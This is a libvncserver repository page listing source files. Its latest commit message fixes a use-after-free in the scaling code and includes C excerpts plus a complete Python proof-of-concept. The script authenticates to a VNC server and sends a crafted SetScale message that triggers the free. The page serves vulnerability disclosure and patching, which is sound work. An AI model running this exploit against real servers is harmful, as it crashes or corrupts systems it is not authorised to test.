You cannot select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
libtdevnc/libvncserver
Christian Beier 668d3e3785 Fix Use-After-Free vulnerability in LibVNCServer wrt scaling.
Reported by Ken Johnson <Ken.Johnson1@telus.com>.

The vulnerability would occur in both the rfbPalmVNCSetScaleFactor and rfbSetScale cases in the rfbProcessClientNormalMessage function of rfbserver.c. Sending a valid scaling factor is required (non-zero)

      if (msg.ssc.scale == 0) {
          rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero");
          rfbCloseClient(cl);
          return;
      }

      rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg);
      rfbLog("rfbSetScale(%d)\n", msg.ssc.scale);
      rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale);

      rfbSendNewScaleSize(cl); << This is the call that can trigger a free.
      return;

at the end, both cases there is a call the rfbSendNewScaleSize function, where if the connection is subsequently disconnected after sending the VNC scaling message can lead to a free occurring.

    else
    {
        rfbResizeFrameBufferMsg        rmsg;
        rmsg.type = rfbResizeFrameBuffer;
        rmsg.pad1=0;
        rmsg.framebufferWidth  = Swap16IfLE(cl->scaledScreen->width);
        rmsg.framebufferHeigth = Swap16IfLE(cl->scaledScreen->height);
        rfbLog("Sending a response to a UltraVNC style frameuffer resize event (%dx%d)\n", cl->scaledScreen->width, cl->scaledScreen->height);
        if (rfbWriteExact(cl, (char *)&rmsg, sz_rfbResizeFrameBufferMsg) < 0) {
            rfbLogPerror("rfbNewClient: write");
            rfbCloseClient(cl);
            rfbClientConnectionGone(cl); << Call which may can lead to a free.
            return FALSE;
        }
    }
    return TRUE;

Once this function returns, eventually rfbClientConnectionGone is called again on the return from rfbProcessClientNormalMessage. In KRFB server this leads to an attempt to access client->data.

POC script to trigger the vulnerability:

---snip---

import socket,binascii,struct,sys
from time import sleep

class RFB:

    INIT_3008 = "\x52\x46\x42\x20\x30\x30\x33\x2e\x30\x30\x38\x0a"
    AUTH_NO_PASS  = "\x01"
    AUTH_PASS = "\x02"
    SHARE_DESKTOP = "\x01"

    def AUTH_PROCESS(self,data,flag):
        if flag == 0:
            # Get security types
            secTypeCount = data[0]
            secType = {}
            for i in range(int(len(secTypeCount))):
                secType[i] = data[1]
            return secType
        elif flag == 1:
            # Get auth result
            # 0 means auth success
            # 1 means failure
            return data[3]

    def AUTH_PROCESS_CHALLENGE(self, data, PASSWORD):
        try:
            from Crypto.Cipher import DES
        except:
            print "Error importing crypto. Please fix or do not require authentication"
            sys.exit(1)
        if len(PASSWORD) != 8:
            PASSWORD = PASSWORD.ljust(8, '\0')

        PASSWORD_SWAP = [self.reverse_bits(ord(PASSWORD[0])),self.reverse_bits(ord(PASSWORD[1])),self.reverse_bits(ord(PASSWORD[2])),self.reverse_bits(ord(PASSWORD[3])),self.reverse_bits(ord(PASSWORD[4])),self.reverse_bits(ord(PASSWORD[5])),self.reverse_bits(ord(PASSWORD[6])),self.reverse_bits(ord(PASSWORD[7]))]
        PASSWORD = (struct.pack("BBBBBBBB",PASSWORD_SWAP[0],PASSWORD_SWAP[1],PASSWORD_SWAP[2],PASSWORD_SWAP[3],PASSWORD_SWAP[4],PASSWORD_SWAP[5],PASSWORD_SWAP[6],PASSWORD_SWAP[7]))
        crypto = DES.new(PASSWORD)
        return crypto.encrypt(data)

    def reverse_bits(self,x):
        a=0
        for i in range(8):
            a += ((x>>i)&1)<<(7-i)
        return a

def main(argv):

    print "Proof of Concept"
    print "Copyright TELUS Security Labs"
    print "All Rights Reserved.\n"

    try:
        HOST = sys.argv[1]
        PORT = int(sys.argv[2])
    except:
        print "Usage: python setscale_segv_poc.py <host> <port> [password]"
        sys.exit(1)
    try:
        PASSWORD = sys.argv[3]
    except:
        print "No password supplied"
        PASSWORD = ""

    vnc = RFB()

    remote = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    remote.connect((HOST,PORT))

    # Get server version
    data = remote.recv(1024)
    # Send 3.8 version
    remote.send(vnc.INIT_3008)
    # Get supported security types
    data = remote.recv(1024)
    # Process Security Message
    secType = vnc.AUTH_PROCESS(data,0)

    if secType[0] == "\x02":
        # Send accept for password auth
        remote.send(vnc.AUTH_PASS)
        # Get challenge
        data = remote.recv(1024)
        # Send challenge response
        remote.send(vnc.AUTH_PROCESS_CHALLENGE(data,PASSWORD))

    elif secType[0] == "\x01":
        # Send accept for None pass
        remote.send(vnc.AUTH_NO_PASS)

    else:
        print 'The server sent us something weird during auth.'
        sys.exit(1)

    # Get result
    data = remote.recv(1024)
    # Process result
    result = vnc.AUTH_PROCESS(data,1)

    if result == "\x01":
        # Authentication failure.
        data = remote.recv(1024)
        print 'Authentication failure. Server Reason: ' + str(data)
        sys.exit(1)

    elif result == "\x00":
        print "Authentication success."

    else:
        print 'Some other authentication issue occured.'
        sys.exit(1)

    # Send ClientInit
    remote.send(vnc.SHARE_DESKTOP)

    # Send malicious message
    print "Sending malicious data..."
    remote.send("\x08\x08\x00\x00")
    remote.close()

if __name__ == "__main__":
    main(sys.argv)

---snap---
11 years ago
..
tightvnc-filetransfer Close unclosed comments ;-) 11 years ago
Makefile.am Rename obsolete INCLUDES to AM_CPPFLAGS 11 years ago
auth.c Support Mac OS X vnc client with no password 14 years ago
cargs.c IPv6 support for LibVNCServer, part two: Let the http server listen on IPv6, too. 14 years ago
corre.c Set proper file permissions for source files. 15 years ago
cursor.c Add locks of updateMutex in rfbRedrawAfterHideCursor() and 16 years ago
cutpaste.c Set proper file permissions for source files. 15 years ago
draw.c Set proper file permissions for source files. 15 years ago
font.c Set proper file permissions for source files. 15 years ago
hextile.c Set proper file permissions for source files. 15 years ago
httpd.c Generally adjusting headers for compiling on windows without the mixing of Winsock 1 and 2. 11 years ago
main.c Signal is a fundamental UNIX function, and must be omitted for any windows compilation 11 years ago
private.h libvncserver: Make RRE, CoRRE and Ultra encodings thread-safe. 15 years ago
rfbcrypto.h Add support for different crypto implementations 14 years ago
rfbcrypto_gnutls.c Add support for different crypto implementations 14 years ago
rfbcrypto_included.c rfbcrypto_included: fix c&p errors 14 years ago
rfbcrypto_openssl.c Add support for different crypto implementations 14 years ago
rfbcrypto_polarssl.c rfbcrypto_polarssl: it was way to late last night... 14 years ago
rfbregion.c Fix tyop 12 years ago
rfbserver.c Fix stack-based buffer overflow 11 years ago
rfbssl.h websockets: Add encryption support 15 years ago
rfbssl_gnutls.c Fix libvncserver GnuTLS init. 14 years ago
rfbssl_none.c websockets: Add encryption support 15 years ago
rfbssl_openssl.c websockets: add GnuTLS and OpenSSL support 15 years ago
rre.c Set proper file permissions for source files. 15 years ago
scale.c Fix Use-After-Free vulnerability in LibVNCServer wrt scaling. 11 years ago
scale.h Fix compilation in c89 mode. 15 years ago
selbox.c Fix selData.buttonWidth calculation 11 years ago
sockets.c Generally adjusting headers for compiling on windows without the mixing of Winsock 1 and 2. 11 years ago
stats.c `strings.h` and `resolv.h` are not available on MSVC, and some POSIX functions are renamed or deprecated 11 years ago
tableinit24.c Set proper file permissions for source files. 15 years ago
tableinitcmtemplate.c Set proper file permissions for source files. 15 years ago
tableinittctemplate.c Set proper file permissions for source files. 15 years ago
tabletrans24template.c Set proper file permissions for source files. 15 years ago
tabletranstemplate.c Set proper file permissions for source files. 15 years ago
tight.c Use C-style comments in rfbconfig.h.cmake and C source code. 13 years ago
translate.c Set proper file permissions for source files. 15 years ago
ultra.c Fix regression in Ultra encoding introduced by commit fe1ca16e9b. 15 years ago
websockets.c `strings.h` and `resolv.h` are not available on MSVC, and some POSIX functions are renamed or deprecated 11 years ago
zlib.c Thread safety for zrle, zlib, tight. 17 years ago
zrle.c Fix remaining compiler warnings. 15 years ago
zrleencodetemplate.c Fix remaining compiler warnings. 15 years ago
zrleoutstream.c ANSIfy, fix some warnings from Linus' sparse 21 years ago
zrleoutstream.h move the library into libvncserver/, x11vnc into x11vnc/ 22 years ago
zrlepalettehelper.c move the library into libvncserver/, x11vnc into x11vnc/ 22 years ago
zrlepalettehelper.h move the library into libvncserver/, x11vnc into x11vnc/ 22 years ago
zrletypes.h Set proper file permissions for source files. 15 years ago